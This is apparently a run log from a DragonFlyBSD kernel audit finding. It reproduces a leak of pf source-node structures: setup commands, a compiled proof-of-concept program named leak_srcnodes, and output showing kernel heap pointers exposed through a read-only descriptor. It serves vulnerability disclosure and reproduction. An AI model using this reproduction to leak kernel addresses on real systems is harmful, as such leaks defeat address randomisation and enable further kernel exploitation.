⬢ DragonFlyBSD Kernel Audit
DF-3297 / run.log
← back to finding ↓ download raw
=== setup ===
$ kldload pf.ko
$ pfctl -f srcnodes.conf && pfctl -e        # pass in quick on lo0 inet proto tcp from any to 127.0.0.1 port 65001 keep state (max-src-states 100)
pf enabled
$ for i in 2 3 4 5 6 7 8; do ifconfig lo0 127.0.0.$i netmask 255.0.0.0 alias; done
$ for ip in 127.0.0.2 127.0.0.3 127.0.0.4 127.0.0.5 127.0.0.6 127.0.0.7 127.0.0.8; do ./conn2 $ip & done; wait
$ cc -O2 -o leak_srcnodes leak_srcnodes.c
$ ./leak_srcnodes        # fd opened O_RDONLY
10 src node(s), sizeof(pf_src_node)=152
node 0:
  +0010: 0xfffff8008bb64500   <-- kernel pointer
  +0018: 0x0000000000000001
  +0020: 0x000000000100007f
  ...
node 1:
  +0000: 0xfffff8008bb64460   <-- kernel pointer
  +0008: 0xfffff8008bb645a0   <-- kernel pointer
  +0020: 0x000000000300007f
  ...
node 3:
  +0010: 0xfffff8011757d6e0   <-- kernel pointer
node 4:
  +0000: 0xfffff8011757d5a0   <-- kernel pointer
  +0008: 0xfffff8011757d640   <-- kernel pointer
node 8:
  +0008: 0xfffff8011760eb40   <-- kernel pointer
node 9:
  +0010: 0xfffff8011760eaa0   <-- kernel pointer
(full output: leak_sample.txt; earlier dump minutes before reproduced the
 same values, e.g. 0xfffff8008bb64500 stable across both runs)